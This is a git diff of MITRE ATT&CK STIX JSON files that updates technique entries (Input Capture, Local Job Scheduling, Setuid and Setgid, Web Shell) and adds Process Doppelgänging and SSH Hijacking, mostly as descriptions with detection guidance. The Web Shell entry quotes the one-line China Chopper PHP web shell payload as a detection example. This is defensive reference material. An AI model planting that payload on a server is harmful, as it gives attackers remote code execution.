-            "description": "Adversaries can use methods of capturing user input for obtaining credentials for Valid Accounts and information Collection that include keylogging and user input field interception.\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes, (Citation: Adventures of a Keystroke) but other methods exist to target information for specific purposes, such as performing a UAC prompt or wrapping the Windows default credential provider. (Citation: Wrightson 2012)\n\nKeylogging is likely to be used to acquire credentials for new access opportunities when Credential Dumping efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises.\n\nAdversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging)\n\nDetection: Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include SetWindowsHook, GetKeyState, and GetAsynceyState. (Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes and detect driver installs, as well as looking for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.\n\nMonitor the Registry for the addition of a Custom Credential Provider. (Citation: Wrightson 2012) Detection of compromised Valid Accounts in use by adversaries may help to catch the result of user input interception if new techniques are used.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Windows Registry, Kernel drivers, Process monitoring, API monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: John Lambert, Microsoft Threat Intelligence Center",
+            "description": "Adversaries can use methods of capturing user input for obtaining credentials for Valid Accounts and information Collection that include keylogging and user input field interception.\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes, (Citation: Adventures of a Keystroke) but other methods exist to target information for specific purposes, such as performing a UAC prompt or wrapping the Windows default credential provider. (Citation: Wrightson 2012)\n\nKeylogging is likely to be used to acquire credentials for new access opportunities when Credential Dumping efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises.\n\nAdversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging)\n\nDetection: Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include SetWindowsHook, GetKeyState, and GetAsynceyState. (Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes and detect driver installs, as well as looking for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.\n\nMonitor the Registry for the addition of a Custom Credential Provider. (Citation: Wrightson 2012) Detection of compromised Valid Accounts in use by adversaries may help to catch the result of user input interception if new techniques are used.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Windows Registry, Kernel drivers, Process monitoring, API monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: John Lambert, Microsoft Threat Intelligence Center",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -59,21 +59,9 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8.json b/enterprise-attack/attack-pattern/attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8.json
index c5b92ae2b7..f2b1303a2c 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--97a9befc-51b2-4570-a01d-26909b9eb1c8",
+    "id": "bundle--9ba7ac0f-c73b-4652-9055-73d03a770322",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,13 +8,17 @@
             "id": "attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
-            "name": "Cron Job",
-            "description": "Per Apple\u2019s developer documentation, there are two supported methods for creating periodic background jobs: launchd and cron (Citation: AppleDocs Scheduling Timed Jobs).\n\n===Launchd===\n\nEach Launchd job is described by a different configuration property list (plist) file similar to Launch Daemons or Launch Agents, except there is an additional key called <code>StartCalendarInterval</code> with a dictionary of time values  (Citation: AppleDocs Scheduling Timed Jobs). This only works on macOS and OS X.\n\n===cron===\n\nSystem-wide cron jobs are installed by modifying <code>/etc/crontab</code> while per-user cron jobs are installed using crontab with specifically formatted crontab files  (Citation: AppleDocs Scheduling Timed Jobs). This works on Mac and Linux systems.\n\nBoth methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X), to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.\n\nDetection: Legitimate scheduled jobs may be created during installation of new software or through administration functions. Tasks scheduled with launchd and cron can be monitored from their respective utilities to list out detailed information about the jobs. Monitor process execution resulting from launchd and cron tasks to look for unusual or unknown applications and behavior.\n\nPlatforms: Linux, MacOS\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: Administrator",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Local Job Scheduling",
+            "description": "On Linux and Apple systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike Scheduled Task on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).\n\n===cron===\n\nSystem-wide cron jobs are installed by modifying <code>/etc/crontab</code> file, <code>/etc/cron.d/</code> directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on Mac and Linux systems.\n\nThose methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.\n\n===at===\n\nThe at program is another means on Linux-based systems, including Mac, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.\n\n===launchd===\n\nEach launchd job is described by a different configuration property list (plist) file similar to Launch Daemon or Launch Agent, except there is an additional key called <code>StartCalendarInterval</code> with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.\n\nDetection: Legitimate scheduled jobs may be created during installation of new software or through administration functions. Jobs scheduled with launchd and cron can be monitored from their respective utilities to list out detailed information about the jobs. Monitor process execution resulting from launchd and cron tasks to look for unusual or unknown applications and behavior.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: Administrator, User, root\n\nContributors: Anastasios Pingios",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
                     "phase_name": "persistence"
+                },
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "execution"
                 }
             ],
             "external_references": [
@@ -42,21 +46,41 @@
                     "source_name": "Malware Persistence on OS X",
                     "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
                     "url": "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf"
+                },
+                {
+                    "source_name": "Die.net Linux crontab Man Page",
+                    "description": "Paul Vixie. (n.d.). crontab(5) - Linux man page. Retrieved December 19, 2017.",
+                    "url": "https://linux.die.net/man/5/crontab"
+                },
+                {
+                    "source_name": "Die.net Linux at Man Page",
+                    "description": "Thomas Koenig. (n.d.). at(1) - Linux man page. Retrieved December 19, 2017.",
+                    "url": "https://linux.die.net/man/1/at"
+                },
+                {
+                    "source_name": "Avast Linux Trojan Cron Persistence",
+                    "description": "Threat Intelligence Team. (2015, January 6). Linux DDoS Trojan hiding itself with an embedded rootkit. Retrieved January 8, 2018.",
+                    "url": "https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/"
                 }
             ],
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
+            "x_mitre_contributors": [
+                "Anastasios Pingios"
+            ],
             "x_mitre_data_sources": [
                 "File monitoring",
                 "Process Monitoring"
             ],
             "x_mitre_permissions_required": [
-                "Administrator"
+                "Administrator",
+                "User",
+                "root"
             ],
             "x_mitre_platforms": [
                 "Linux",
-                "MacOS"
+                "macOS"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2.json b/enterprise-attack/attack-pattern/attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2.json
index ab48a0844e..660e307efd 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--68a25743-938f-4f47-9789-d75e6773f6fb",
+    "id": "bundle--5eb3b037-951a-43a5-a5c3-8fe739ad5cdf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Setuid and Setgid",
-            "description": "When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively. Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn\u2019t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via <code>ls -l</code>. The <code>chmod</code> program can set these bits with via bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>.\n\nAn adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user\u2019s context.\n\nDetection: Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nEffective Permissions: Administrator, root\n\nPermissions Required: User",
+            "description": "When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively. Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn\u2019t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via <code>ls -l</code>. The <code>chmod</code> program can set these bits with via bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>.\n\nAn adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user\u2019s context.\n\nDetection: Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nEffective Permissions: Administrator, root\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -41,8 +41,7 @@
             ],
             "x_mitre_platforms": [
                 "Linux",
-                "MacOS",
-                "OS X"
+                "macOS"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df.json b/enterprise-attack/attack-pattern/attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df.json
index 6c3234c05b..86e319802c 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8cc872bc-cc39-4413-bfb3-02cace37c6a0",
+    "id": "bundle--67146e6c-7d0f-478f-a1ed-6118545171ba",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:13.061Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Web Shell",
-            "description": "A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)\n\nWeb shells may serve as Redundant Access or as a persistence mechanism in case an adversary's primary access methods are detected and removed.\n\nDetection: Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013)\n\n<code><?php @eval($_POST['password']);></code>\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running cmd or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Anti-virus, File monitoring, Process monitoring, Authentication logs, Netflow/Enclave netflow\n\nEffective Permissions: User, SYSTEM\n\nSystem Requirements: Adversary access to Web server with vulnerability or account to upload and serve the Web shell file.",
+            "description": "A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)\n\nWeb shells may serve as Redundant Access or as a persistence mechanism in case an adversary's primary access methods are detected and removed.\n\nDetection: Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013)\n\n<code><?php @eval($_POST['password']);></code>\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running cmd or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Anti-virus, File monitoring, Process monitoring, Authentication logs, Netflow/Enclave netflow\n\nEffective Permissions: User, SYSTEM\n\nSystem Requirements: Adversary access to Web server with vulnerability or account to upload and serve the Web shell file.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -53,21 +53,9 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "Adversary access to Web server with vulnerability or account to upload and serve the Web shell file."
diff --git a/enterprise-attack/attack-pattern/attack-pattern--c1a452f3-6499-4c12-b7e9-a6a0a102af76.json b/enterprise-attack/attack-pattern/attack-pattern--c1a452f3-6499-4c12-b7e9-a6a0a102af76.json
new file mode 100644
index 0000000000..3054303049
--- /dev/null
+++ b/enterprise-attack/attack-pattern/attack-pattern--c1a452f3-6499-4c12-b7e9-a6a0a102af76.json
@@ -0,0 +1,80 @@
+{
+    "type": "bundle",
+    "id": "bundle--79bd4615-01c2-440d-a991-fbcc5695971d",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--c1a452f3-6499-4c12-b7e9-a6a0a102af76",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Process Doppelg\u00e4nging",
+            "description": "Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nAdversaries may leverage TxF to a perform a file-less variation of Process Injection called Process Doppelg\u00e4nging. Similar to Process Hollowing, Process Doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution.\n\nDetection: Monitor and analyze calls to CreateTranscation, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelg\u00e4nging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nScan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\n\nPlatforms: Windows\n\nData Sources: API monitoring, Process Monitoring\n\nDefense Bypassed: Process whitelisting, Anti-virus, Whitelisting by file name or path, Signature-based detection\n\nPermissions Required: User, Administrator, SYSTEM",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "defense-evasion"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1186",
+                    "external_id": "T1186"
+                },
+                {
+                    "source_name": "Microsoft TxF",
+                    "description": "Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx"
+                },
+                {
+                    "source_name": "Microsoft Basic TxF Concepts",
+                    "description": "Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx"
+                },
+                {
+                    "source_name": "Microsoft Where to use TxF",
+                    "description": "Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx"
+                },
+                {
+                    "source_name": "BlackHat Process Doppelg\u00e4nging Dec 2017",
+                    "description": "Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelg\u00e4nging. Retrieved December 20, 2017.",
+                    "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf"
+                },
+                {
+                    "source_name": "hasherezade Process Doppelg\u00e4nging Dec 2017",
+                    "description": "hasherezade. (2017, December 18). Process Doppelg\u00e4nging \u2013 a new way to impersonate a process. Retrieved December 20, 2017.",
+                    "url": "https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/"
+                },
+                {
+                    "source_name": "Microsoft PsSetCreateProcessNotifyRoutine routine",
+                    "description": "Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_data_sources": [
+                "API monitoring",
+                "Process Monitoring"
+            ],
+            "x_mitre_defense_bypassed": [
+                "Process whitelisting",
+                "Anti-virus",
+                "Whitelisting by file name or path",
+                "Signature-based detection"
+            ],
+            "x_mitre_permissions_required": [
+                "User",
+                "Administrator",
+                "SYSTEM"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/attack-pattern/attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb.json b/enterprise-attack/attack-pattern/attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb.json
new file mode 100644
index 0000000000..1140cd9abe
--- /dev/null
+++ b/enterprise-attack/attack-pattern/attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb.json
@@ -0,0 +1,69 @@
+{
+    "type": "bundle",
+    "id": "bundle--d218022b-e806-4096-ae92-827f35a933af",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "SSH Hijacking",
+            "description": "Secure Shell (SSH) is a standard means of remote access on Linux and Mac systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)\n\nSSH Hijacking differs from use of Remote Services because it injects into an existing SSH session rather than creating a new session using Valid Accounts.\n\nDetection: Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.\n\nPlatforms: Linux, macOS\n\nData Sources: Authentication logs\n\nPermissions Required: User, root\n\nSystem Requirements: SSH service enabled, trust relationships configured, established connections\n\nContributors: Anastasios Pingios",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "lateral-movement"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1184",
+                    "external_id": "T1184"
+                },
+                {
+                    "source_name": "Slideshare Abusing SSH",
+                    "description": "Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using ssh. Retrieved January 8, 2018.",
+                    "url": "https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219"
+                },
+                {
+                    "source_name": "SSHjack Blackhat",
+                    "description": "Adam Boileau. (2005, August 5). Trust Transience:  Post Intrusion SSH Hijacking. Retrieved December 19, 2017.",
+                    "url": "https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf"
+                },
+                {
+                    "source_name": "Clockwork SSH Agent Hijacking",
+                    "description": "Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved December 20, 2017.",
+                    "url": "https://www.clockwork.com/news/2012/09/28/602/ssh%20agent%20hijacking"
+                },
+                {
+                    "source_name": "Welivesecurity Ebury SSH",
+                    "description": "M.L\u00e9veill\u00e9, M. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved January 8, 2018.",
+                    "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_contributors": [
+                "Anastasios Pingios"
+            ],
+            "x_mitre_data_sources": [
+                "Authentication logs"
+            ],
+            "x_mitre_permissions_required": [
+                "User",
+                "root"
+            ],
+            "x_mitre_platforms": [
+                "Linux",
+                "macOS"
+            ],
+            "x_mitre_system_requirements": [
+                "SSH service enabled, trust relationships configured, established connections"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/attack-pattern/attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b.json b/enterprise-attack/attack-pattern/attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b.json
index 1222cc9038..89c3e2ea6f 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c2963b5c-6220-4d22-8e7e-2d257c14b22a",
+    "id": "bundle--b393d60b-3a5c-4fbf-93b9-c4d4ffaeb2c3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:10.728Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Standard Non-Application Layer Protocol",
-            "description": "Use of a standard non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. (Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), and transport layer protocols, such as the User Datagram Protocol (UDP).\n\nICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.\n\nDetection: Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS 